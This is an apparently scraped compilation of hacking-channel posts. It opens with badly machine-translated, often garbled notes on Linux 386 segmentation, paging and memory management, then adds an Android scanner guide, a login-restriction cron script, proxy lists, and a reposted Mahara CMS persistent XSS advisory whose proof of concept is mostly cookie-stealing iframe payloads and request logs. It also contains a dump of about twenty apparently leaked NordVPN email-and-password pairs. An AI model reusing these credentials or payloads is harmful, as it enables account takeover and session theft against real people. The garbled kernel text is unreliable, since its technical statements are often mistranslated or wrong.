virtual memory, a memory expansion design schemes. he had come from the main memory's very expensive. the program uses the principle of locality, that program is not necessary to run at full Loaded into memory. That part of the current branch to be run into memory can

in fact, the entire storage system is composed of a cache memory --- --- hard drives and other storage media consisting of multi-level, but this is transparent to the original program, For example, if we execute such a day instruction
mov bx, 1997
mov ax, [bx] in the program, the

　

address is back copied to the content of 1997, so the address generated by the program is a virtual address. This address is different from the actual physical address . To have this address translated to an actual physical address, you need to have a translation mechanism. A hardware unit usually called an MMU accomplishes this task

The so-called protection mechanism is carried out on this basis. Its purpose is to make different program segments do not interfere with each other. The system process and the user process are strictly separated to meet the requirements of system security and multi-user multi-process. In Linux, by giving Different tasks assign different mappings of virtual addresses to physical addresses. To achieve the switching and protection of different tasks. At the same time. Linux "may" is to separate the system process from the user process Controlled within 100,000? Of course, shared memory in iipv traffic may have unpredictable consequences due to improper operation.

In addition, Linux also protects unified tasks to varying degrees. It uses priority to determine. For example, the kernel The priority is 0, the system calls: 1 library: 2 user process 3. When the program reads and writes a certain data segment, the county should check the priority, before deciding the priority or access permission for its operation.

I think some association represents the scheduling priority and will struct_task priority parameters.

for memory management, there is usually a stage, p-type and p-type segment in three ways. in this Virtual messenger discussion in two ways -.. Different physical conversion mechanism is implemented because linux segment paged memory management so these two mapping mechanism, it must be present

stage management, using a series can change the size address collection management. its advantage is that you can take advantage of physical memory. the disadvantage is difficult to manage,

generally we can define a segment in c in (this definition just to explain the concept stage, linux in not so)

typedef stucrt Duan

{

struct duan * next, * pre; / * Required pointer * /

int tag;

iint begin, end / * Start and end point * /

int size;

data data; / * Content * /

......

} The

above is really the data structure of the segments that may be used in actual memory. In our protection mode, the so-called segments are protection management. In general, it is somewhat similar to the base addressing in assembly language: it is to implement virtual-physical addresses The basis of the conversion (to put it bluntly, I personally think that all segments are defined as the same size as pages, but in fact I have not seen how linux is done, so don't be misled by me)

segments have a base address (base address) of a predetermined line start address of the physical memory

has a restriction site, (limit) within a segment represented by the maximum offset (i.e. size)

segment attribute (attribute) indicates whether the segment is read

three The attribute, which is included in the segment descriptor. The

so-called descriptor. It is a storage unit of 8 subsections, and its structure is roughly as follows:

byte 0 ----- 0-7 bit description Fu

byte 1 ----- -8-15 bit descriptor

Byte 2 ----- 0-7 bit base address

Byte 3 ----- 8-15 bit base address

Byte 4 ----- 16-24 base address

word byte 5 knots ----- store permissions

byte 6 ----- G | D | 0 | 0 | 16-19 bit segment limit

byte 7 ----- 31--24 segment base

wherein The fifth byte is the access right byte, It contains several flag bits to mark whether the segment is in memory or not. The latter segment is a user segment or a system segment. The level of people is limited. I will not explain them one by one. I hope there are Interested friends can check the information, which will be listened to us all

In the system segment. There is a byte. You can define the type of the system segment. It seems that there are 16 types like 386.TSS, 386 interrupt gate, 386 trap gate, etc., which are marked as valid, which are not introduced one by one here. This is to understand the two rankings of TSS (System Status Indicator) and LDT (Local Description Indicator). In the relevant information, we often encounter

a series of description tables in the Linux kernel. Like the Global Description Table (GDT) , Interrupt Description Fu Table (IDT) and the above-mentioned LDT, etc., among them. Define the description of the system available Fu Fu, interrupt gate, etc. Its role is to make the compatibility of the machine is guaranteed

in LDT. Then define some code segments, data segments, etc. that are related to specific tasks. The internal data structure of the description of the

fu table is roughly as follows: typedef struct desc_struct

{

unsigned long a, b;

} The

description of the fu table is completed with the following two lines and an external definition defines described Fu:

desc_table [256]; // can define the maximum amount described in the local description Fu Fu table

extern dessc_table idt, gdt // external variables described

so far, the segmentation mechanism substantially about linux The last section is finished, the rest is in the deposit The mapping between the selector and the selector, as well as some addressing methods.

This part of the content is probably the same as that described in << Assembly Language >>. It is not much to say here.

Read the nuclear diary (6)
This article comes from: http: / /os.silversand.net author: sunmoon (2001-09-01 09:05:00)
we finished the segmentation mechanism. Next we need to analyze the second storage management mechanism of protection mode: paging mode.

We mentioned the turntable and control register set earlier. They include EFLAGS and ELP. And four 32-bit control registers CRO CR1CR2 CER3. One of the PEs in the CRO is used to mark whether the protection mode or the real mode is used. One PG defines whether to use paging mode (1 or 0).

When PG = 1, the system uses the paging mechanism. 80386 uses 4K pages, and the boundary of each page is surprising. That is, the starting position of each page can be divided by 4K. In this way, 4G bytes are divided into 1M pages. The paging mechanism maps linear pages to physical pages. Really played a role in conversion.

Let us look at the structure of LINUXE score page:

1. Multi-level page table structure

contains 1M pages in LINUX. Each page table occupies 4 bytes. You need to occupy 4M of continuous memory, so LINUX introduced a 2-level page table structure. The last 10 bits (22-32) in the linear address define the secondary page table.

The secondary page table has 1K bytes, and the page just exists] in a 4K page. And through the first 20 bits for indexing, so as to achieve the actual physical address.

I am not very clear about this place. This can be roughly understood.

For example: there are N linked lists. Each one is a page. But the content of the last page is a pointer to another second-level refining table (or index item)

2. Page items and page directory items

For each page. There will be a page item. Used to indicate whether the page is in use or not. Whether it is in memory, etc. And these phases will be stored as a continuous mark. To reduce the query time when using the table, etc.

And each page table, there will be 1024 page items, this is the real "page".

3. Switching from linear address to physical address
1. CR contains the starting address of the page directory, using the content of 31-22 bits in the 32-bit address as the index of the page directory entry of the page directory The starting addresses are added. Get the address of the corresponding page table
2. Remove the 32-bit page directory entry from the specified address. It mentions that the 12 bits are 0 and uses 21-12 bits in the 32-bit address as the index of the page in the page table. Multiply it by 4 and add the start address of the page table to get the 32-bit address
3. The 11-0 bit of the prize is used as the offset from the page address and added to the 32-bit page address. Form a 32-bit physical address.
　

4. Page CACHE

Of course, the system frequently accesses the secondary page table, which will cause a lot of waste of time. Therefore, the page table CACHE is introduced to save the most recently used pages or frequently used pages. Then explain in detail. Interested friends can check some basic computer teaching materials. So

far, the 836 protection mode used by Linux has basically been explained. As for control transfer and task switching. It is almost the same as general assembly programming, and my assembly level is too low. In

general, the switching of multitasking and the application of protection mode. The realization of the virtual storage system is based on the technical support of the hardware.

Personally think that Linux storage management. It is completely different on different machines. As for whether Linux provides them with a unified interface. I don't know yet. Other models can be found in the source code

reading nuclear diary (seven) --linux memory management (1)
This article comes from: http: //os.silversand.net Author: sunmoon (2001-09-01 13:05:00)
Memory management is an indispensable part of an operating system. And. A very important part. The success of Linux. It is very closely related to its excellent memory management. Because the efficiency and stability of a system ’s sexual desire is often determined by its memory management mechanism. I Many people have suffered 640k under DOS.

Earlier we introduced the 386 protection mode. From today onwards, we will analyze the virtual storage management of Linux for every programmer. They all want to have infinite and fast memory, however, at this stage it is impossible In addition, infinity and fast may contradict themselves in

order to solve infinity.Linux introduces a virtual storage system.In order to solve fast, linux introduces cache, exchange mechanism, etc., so that the storage system is close to the hard disk in terms of capacity and speed. Close to cache. (Of course, I think this is the actual purpose of the storage system).

Linux's memory management adopts a paging mechanism. It is designed for time-sharing and multitasking . Linux can process 256 tasks at the same time (this should be related to a certain Variables can't be remembered for a while). At the same time, it uses a two-level saturation mechanism to separate the kernel process and the user process.

In the 386 protected mode 0-4G linear virtual address, 3-4G is reserved for the kernel process. The 0-3G is assigned to the user process. The addressing of the kernel in the kernel space is different from the addressing of the user process in the user space. Because the kernel is loaded into memory at startup. It can be directly mapped by the address. 3G to above. For a user not allowed to get access to the kernel page table pointer by swapper_pg_div in.

Instead, the user process, in the address space of the user by the user to obtain the page directory pointer tables user page. Page by The pointer of the table directly points to the corresponding physical memory.

The implementation of Linux virtual memory requires several different mechanisms to implement:

address mapping mechanism

memory allocation and recycling

page mechanism

exchange mechanism

memory sharing

Before reading the source code in detail, let's consider how these several mechanisms are implemented based on the operating system knowledge we have learned before and the C language and other knowledge. Now design it yourself. Look at how others have implemented it. Find I ca n’t think of it. Or something that is detrimental to the efficiency space. Only in this way can I make progress. I have said more than once. A certain part of the operating system is very simple in terms of implementation. Its difficulty is how to integrate a large number of functions into one. Kernerl. The

address mapping mechanism, to put it bluntly , is a bridge between virtual memory and physical memory. What it needs to do is to pass several different tables. Convert the virtual address into a physical address, and convert the physical address into a virtual address.

We have said before. Because there are systems and users, it must also have different data structures. In order to solve problems such as speed. It will have a hardware buffer

for its data structure. We can think about it first. information virtual address, the virtual address in that area, and so

as to make page mechanism, better understanding, because linux is a page of storage, so there has to be a blank page and use the page. It is a page. There is bound to be a page overflow. The page is invalid (is it a similar error that often occurs under win98, of course, the memory management of linux cannot be the same as that of windows, but the basic reason is the same). Therefore, an error occurs on each page. Or When the page cannot store extra data, it is necessary to ask the kernel to allocate a new page

at the same time. When fork () is used to generate a new process, a new leaf needs to be allocated. This part roughly talks about how the process is inward and Describe how much you need and how many pages

we learned from << Data Structure >>. We learned a lot of memory allocation methods, such as first fit, best fit, worst fit, etc. But we can imagine. Linux probably wo n’t use them. That must be the partner system. So we can think about the basic algorithm for the allocation and recycling of the partner system. Recall. This way, when the readers part of the source code, there will be unexpected gains.

As for the exchange mechanism, we can also think about it now. There are always many pages in the memory. If these pages have all been used up. Some of the pages must be released when reallocating. Release those pages, Need to consider. Such as recently used pages. Recently used pages, etc. can be considered.

This algorithm is probably to calculate the pages used in memory, when can be replaced. To put it bluntly is to calculate one for all used pages "Right", and this "Right" determines when he is released to replace its content. What needs to be considered is for frequently used pages. You can put it in cahe. (Although this part is transparent to programmers

Yes , but we should understand his principle). The last part of shared memory, I want to learn from my beginner linux programming, the shared memory in the process communication is no different. Probably that is added to its data structure to allow different processes tag access on the line.

above, but we guess linux memory management mechanism, we need to do is read a specific source. correct incorrect guess. At the same time learning the actual ideas of others.

. We start next diary will explain each part of the realization of these

reading nuclear diary (eight) --linux memory management (2)
This article comes from: http: //os.silversand.net Author: sunmoon (2001-09- 02 07:05:00)
Address mapping mechanism The

address mapping mechanism mainly completes the association between main memory, auxiliary memory, and virtual memory, including the mapping of disk files to virtual memory and the mapping between virtual memory and memory. Virtual storage and process scheduling are consistent. Linux uses a series of data structures and a hardware cache (TLB) to implement the address mapping mechanism.

Mm_strut is used to describe the process cache.

Struct mm_struct

{

struct vm_area_struct * mmap; / * list of VMAs * /

struct vm_area_struct * mmap_avl; / * tree of VMAs * /

struct vm_area_struct * mmap_cache; / * last find_vma result * /

pgd_t * pgd;

atomic_t count;

int map_count; / * number of VMAs * /

struct semaphore mmap_sem;

spinlock_t page_table_lock;

unsigned long context;

unsigned long start_code, end_code, start_data, end_data;

unsigned long start_brk, brk, start_stack;

unsigned long arg_start, arg_end, env_start, env_end;

unsigned long rss, total_;

unsigned long def_flags;

unsigned long cpu_vm_mask;

unsigned long swap_cnt; / * number of pages to swap on next pass * /

unsigned long swap_address;

/ *

* This is an architecture-specific pointer: the portable

* part of Linux does not know about any segments.

* /

void * segments;

};

he describes the page directory of a process, context information about the process . And data. Code. The end address of the revelation of the stack. There are also the number of virtual storage acquisition. And the linked list pointer for scheduling storage. His

argument is higher. The higher level vm_area-struct is the virtual address area describing the process. Mathematical linked list. Arranged in descending order of virtual addresses. So when the kernel needs to perform a given operation on a given process page, the guest finds the item from the two-way list. In the world, it wants to deal with the page. For example. Page fault. Page change the like

his specific structure is as follows:

struct the vm_area_struct {

struct * mm_struct vm_mm; / * Parameters Area the VM * /

unsigned Long vm_start;

unsigned Long vm_end;

　

/ * linked per Task List Areas of the VM, the sorted by address * /

struct the vm_area_struct * vm_next;

　

pgprot_t vm_page_prot;

unsigned short vm_flags;

　

/ * AVL tree of VM areas per task, sorted by address * /

short vm_avl_height;

struct vm_area_struct * vm_avl_left;

struct vm_area_struct * vm_avl_right;

　

/ * For areas with inode, the list inode-> i_mmap, for shm areas,

* the list of attaches, otherwise unused.

* /

struct vm_area_struct * vm_next_share;

struct vm_area_struct vm_pprev_share;

　

struct vm_operations_struct * vm_ops;

unsigned long vm_offset;

struct file * vm_file;

unsigned long vm_pte; / * shared mem * /

);

yes A data structure described by a physical page. He is not a real physical page. It only describes the content and frame of a physical page. It makes a mark for a logical page; his logo field defines this page in progress. The operation. The chain domain defines a double necklace table. The page frame can be easily found. For the actual physical memory until convenient.

Its specific structure is as follows

typedef struct page {

/ * these must be first (free area handling) * /

struct page * next;

struct page * prev;

struct inode * inode;

unsigned long offset;

struct page * next_hash;

atomic_t count;

unsigned long flags; / * atomic flags, some possibly updated asynchronously * /

wait_queue_head_t wait;

struct page ** pprev_hash;

struct buffer_head * buffers;

int owner; / * temporary debugging check * /

} mem_map_t;

all page structures will be transferred into an array called mem_map.

When a process is running, both its code segment and data segment will be transferred into memory. If it uses a shared library. The content of the shared guest will also be carved into memory. When the process is running, the system first allocates a vm_area_struct to the process. Link these processes to the virtual memory link. This is based on the information in the executable image of the process. The data segment and the guest execution code are not allocated memory. The newly allocated memory must be linked to the existing memory of the process. It can only be applied. In this way, the page fault occurs at the party. The system uses the page request mechanism to avoid excessive use of physical memory. However, when the virtual memory accessed by the process is not in the current physical memory, the system will transfer the required pages into memory. At the same time Modify the page table of the process. Used to mark whether the virtual page is in physical memory.

Therefore, the system uses a more complex data structure to track the virtual address of the process. In the task_struct contains a pointer to the mm_struct structure. The mm_struct of the process is Contains the page directory pointer pgd of the process executable image. It also contains several pointers to vm_area_struct, each vm_area_struct contains a process Virtual address area.

A process has more than vm_area_stuct structure .linux should regularly allocation process or adjust vm_area_struct ... So look for the efficiency of vm_area_stuct For useful imaging systems. So here all the vm_area_struct formed a search efficiency than High balanced binary tree structure.

I personally think that this place is in the entire Linux kernel. The data structure is the most complicated. If this part is confirmed, the entire kernel will become clear.

written by undercoders
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 AndroBugs Framework is an efficient Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android applications. No need to install on Windows.
t.me/undercodeTesting


🦑Features:

> Find security vulnerabilities in an Android app

> Check if the code is missing best practices

> Check dangerous shell commands (e.g. “su”)

> Collect Information from millions of apps

> Check the app’s security protection (marked as <Hacker>, designed for app repackaging hacking)

🦑𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1) git clone https://github.com/AndroBugs/AndroBugs_Framework

2) cd AndroBugs_Framework

3) python androbugs.py -f [APK file]
####To check the usage:####

python androbugs.py -h

🦑Easy to use for Android developers or hackers on Microsoft Windows: (a) No need to install Python 2.7 (b) No need to install any 3rd-party library (c) No need to install AndroBugs Framework

>mkdir C:\AndroBugs_Framework

> cd C:\AndroBugs_Framework

> Unzip the latest Windows version of AndroBugs Framework from Windows releases

>Go to Computer->System Properties->Advanced->Environment Variables. Add "C:\AndroBugs_Framework" to the "Path" variable
androbugs.exe -h
androbugs.exe -f [APK file]

🦑 Massive Analysis Tool Steup Steps and Usage for Windows

> Complete the Steup Steps and Usage for Windows first
Install the Windows version of MongoDB (https://www.mongodb.org/downloads)

> Install PyMongo library
Config your own MongoDB settings: C:\AndroBugs_Framework\androbugs-db.cfg

> Choose your preferred MongoDB management tool (http://mongodb-tools.com/)

> AndroBugs_MassiveAnalysis.exe -h
Example: AndroBugs_MassiveAnalysis.exe -b 20151112 -t BlackHat -d .\All_Your_Apps\ -o .\Massive_Analysis_Reports
AndroBugs_ReportByVectorKey.exe -h
Example: AndroBugs_ReportByVectorKey.exe -v WEBVIEW_RCE -l Critical -b 20151112 -t BlackHat

» USE FOR LEARN ONLY !!

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑shell-log in for a limited time :

call at the following three scripts and system maintenance program functions can be realized limit sign in:

1. In the specified Time to execute the script, a file named nologin will be generated under / etc. The login program will automatically determine whether the file is stored during execution. If it exists, it will not allow the user to log in. The content is:
vi /sbin/login.denied
echo "Login Denied"> / etc / nologin
chmod 700 login.denied
2. Execute the script at the specified time, delete the nologin file under / etc / to allow the user to log in, the content is:
vi /sbin/login.allowed
if [ -f / etc / nologin]; then
rm / etc / nologin
fi
chmod 700 login.allowed
3. Write a time-limited script that reads:
vi /sbin/login.rollback
if [-f /sbin/login.denied] ; then
at -f /sbin/login.denid 22:00
fi
if [-f /sbin/login.allowed]; then
at -f /sbin/login.allowed 8:00
if
chmod 744 /sbin/login.rollback is

created, put the /sbin/login.rollback script into crontab , Executed in the early morning of each day:
crontab -e
# roll login script
00 1 * * * /sbin/login.rollback
The function of this setting is: from 10:00 pm to 8:00 the next morning, the non-root user logs in, Displayed as system maintenance status.

written by undercode
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑NORDVPN NEW:

jerichosantiago1@gmail.com:23rmitkb
henrydeuel@gmail.com:hd522194
stefan.schwindl@gmx.de:P3294z4h
johnjcharlesworth@gmail.com:Pokemon123
priyamshah95@gmail.com:chikoo40
joshlambert1590@yahoo.com:Brahma25
tripp.welge@gmail.com:thurlow84
clara357@gmail.com:horse1021
govindarumi@gmail.com:Twenty20
www.ducker60@gmail.com:Michon26
mickwooly@hotmail.com:3manc1manu
gregoire.caboche@gmail.com:Biniouse123
justin.joon.yang@gmail.com:4hamashika
calpurnia53@gmail.com:lrbk53019
christianpmorgan@live.com:Mexico08
mdking97@gmail.com:9k12ak12337
fabi_warcrafgt@hotmail.com:fgt123war321
joe.saouma@gmail.com:11097c4da
dhanishs.soni@gmail.com:dhanish9199
mmcyj1@aol.com:skippy12
nkatakura1@gmail.com:kata73247
cherise-mayte@hotmail.com:Lincoln1

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑FRESH PREMIUM PROXIES FROM 1 H :


103.102.13.7 8080 1 hour ago
3538 ms 23% (71) id Indonesia Elite -
117.102.9.12 3128 1 hour ago
1084 ms 8% (101) pk Pakistan Elite -
190.186.76.19 8197 1 hour ago
1090 ms 13% (85) bo Bolivia Elite -
195.140.162.188 8080 1 hour ago
704 ms 22% (82) ua Ukraine - Dnipro Elite -
192.34.62.163 3128 1 hour ago
3699 ms 13% (74) us United States - North Bergen Elite -
218.75.102.198 8000 1 hour ago
858 ms 12% (85) cn China - Hangzhou Elite -
35.220.131.188 443 1 hour ago
1240 ms 32% (83) us United States Elite -
22m 20s ago 52.52.47.251 80 Elite United States 1/0 267ms
22m 21s ago 47.91.44.217 8000 Elite United States 10/4 84ms
22m 23s ago 45.33.90.184 8080 Elite United States 1274/552 60ms
22m 23s ago 191.96.42.80 3128 Elite United States 8803/802 40ms
22m 25s ago 198.199.120.102 3128 Elite United States 6685/718 39ms
22m 25s ago 138.68.240.218 8080 Elite United States 9280/799 42ms
22m 27s ago 162.243.108.129 3128 Elite United States 9151/862 38ms
23m 13s ago 104.43.244.233 80 Elite United States 38/32 447ms
23m 17s ago 13.59.22.61 80 Elite United States 9/6 223ms
23m 29s ago 52.14.29.191 80 Elite United States 1/0 638ms
24m 13s ago 24.106.221.230 53281 Elite United States 3/1 247ms
19m 43s ago 145.239.81.69 8080 Elite Poland 1376/736 294ms
19m 45s ago 188.226.141.211 3128 Elite Netherlands 3507/681 46ms
19m 45s ago 80.187.140.26 8080 Elite Germany

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑what is Proxy Switcher ?


1) is a premium application for Windows that will allow you to hide your real IP, and start browsing anonymously without a sweat. It can also enable you to access blocked sites such as social networking sites and streaming sites on the fly.

2) With this anonymous browsing technique, you can get rid of certain limitations from different sites and services.

3) This may include the number of downloads or views on a certain proxy, or even a country restricted viewing of certain contents or videos. Webmasters also uses this to check country-based search engine results.

4) Proxy Switcher gives you a very easy to use proxifying solution through its user-friendly GUI. Its compatibility to almost all browsers marks it to the top choice of anonymous browsing fanatics. The application also supports the usage of password-encrypted proxies and as well as Elite or SOCKS v5 proxies. The best part of it is, it does all the proxifying stuffs automatically!

@UndercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑last cve VERIFIED BY UNDERCODE :# Title: Mahara 19.10.2 CMS - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-21
# Vendor: https://mahara.org
# Software Link: https://launchpad.net/mahara
# CVE: N/A

🦑 Document Title:
===============
Mahara v19.10.2 CMS - Persistent Cross Site Vulnerability

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2217

Release Date:
=============
2020-04-21

Common Vulnerability Scoring System:
====================================
4.3

Affected Product(s):
====================
Catalyst IT Ltd.
Product: Mahara v19.10.2 - CMS (Web-Application)
https://launchpad.net/mahara & https://mahara.org

Vulnerability Disclosure Timeline:
==================================
2020-04-21: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The persistent vulnerability is located in the nombre and
descripción parameters of the Ficheros module in the
groupfiles.php file.
Remote attackers with low privileges are able to inject own malicious
persistent script code as files and foldernames. The injected code can
be used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector is located on
the application-side. Files are able to be reviewed in the backend by
higher privileged accounts and can be shared.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Ficheros (Files Manager)

Vulnerable Input(s):
[+] Crear Carpeta

Vulnerable File(s):
[+] groupfiles.php


Vulnerable Parameter(s):
[+] nombre
[+] descripción

Affected Module(s):
[+] Página principal


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce ...
1. Open the web-application and login as regular user
2. Move inside the mygroup management
3. Open the ficheros tab on top
4. Inject test payload into the crear carpeta (Nombre & Descripción)
input field for the página principal to output
Note: The execution point occurs on edit, list and delete interaction
5. The created path listings are available for higher privileged user
account that review (Backend)
6. Successul reproduce of the persistent cross site web vulnerability!


PoC: Vulnerable Source (Inject via Crear Carpeta Input for Página Principal)
<tr id="file:7191" class="file-item folder no-hover ui-droppable">
<td class="icon-cell">
<div class="icon-drag ui-draggable ui-draggable-handle" id="drag:7191"
tabindex="0">
<span class="sr-only">Seleccionar y arrastrar para mover >"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe></span>
<span class="icon-folder-open icon icon-lg " role="presentation"
aria-hidden="true"></span>
</div></td>
<td class="filename">
<a
href="https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=7191&owner=group&ownerid=27"

id="changefolder:7191" class="inner-link changefolder">
<span class="sr-only">Carpeta:</span>
<span class="display-title ">>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe></span>
</a></td>
<td class="filedescription d-none d-md-table-cell">
>"<iframe></iframe> >"<iframe></iframe></td>
<td class="filesize"></td>
<td class="filedate">20/04/2020</td>
<!-- Ensure space for 3 buttons (in the case of a really long single
line string in a user input field -->
<td class="text-right control-buttons ">
<div class="btn-group">
... ...
<button name="files_filebrowser_edit[7191]" class="btn btn-secondary
btn-sm">
<span class="icon icon-pencil-alt icon-lg" role="presentation"
aria-hidden="true"></span>
<span class="sr-only">Edit folder ">"<iframe
src=evil.source
onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>"</span></button>
<button name="files_filebrowser_delete[7191]" class="btn btn-secondary
btn-sm">
<span class="icon icon-trash-alt text-danger icon-lg"
role="presentation" aria-hidden="true"></span>
<span class="sr-only">Delete folder ">"<iframe
src=evil.source
onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>"</span>
</button></div></td>


--- PoC Session Logs [POST] --- (Mygroup Ficheros)
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27
Host: mahara_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------98107146915324237501974151621
Content-Length: 4879
Origin: https://mahara_cms.localhost:8080
Connection: keep-alive
Referer:
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27
Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558;
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página
principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=&
files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_edit_orientation=0&
files_filebrowser_edit_title=>"<iframe src=evil.source
onload=alert(document.cookie)></iframe> >"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_edit_description=>"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_permission:member:view=on&files_filebrowser_permission:member:edit=on&
files_filebrowser_permission:member:republish=on&files_filebrowser_edit_license=&files_filebrowser_edit_license_other=&
files_filebrowser_edit_licensor=>"<iframe src=evil.source
onload=alert(document.cookie)></iframe> >"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_edit_licensorurl=>"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_edit_allowcomments=on&
files_filebrowser_update[7191]=Guardar
cambios&sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1,1
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-store, no-cache, must-revalidate
set-cookie:
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
path=/; secure; HttpOnly
content-encoding: br
X-Firefox-Spdy: h2-

https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=
-
Host: mahara_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------126319663526561351602937008964
Content-Length: 3721
Origin: https://mahara_cms.localhost:8080
Connection: keep-alive
Referer:
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=
Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558;
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página
principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=&
files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_delete[7192]=&files_filebrowser_edit_orientation=0&files_filebrowser_edit_title=&files_filebrowser_edit_description=&files_filebrowser_edit_license=&
files_filebrowser_edit_license_other=&files_filebrowser_edit_licensor=&files_filebrowser_edit_licensorurl=&
sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-store, no-cache, must-revalidate
set-cookie:
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
path=/; secure; HttpOnly
content-encoding: br
X-Firefox-Spdy: h2


Reference(s):
https://mahara_cms.localhost:8080/artefact/
https://mahara_cms.localhost:8080/artefact/file/
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php


🦑last cve VERIFIED BY UNDERCODE :# Title: Mahara 19.10.2 CMS - Persistent Cross-Site Scripting

@UndercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁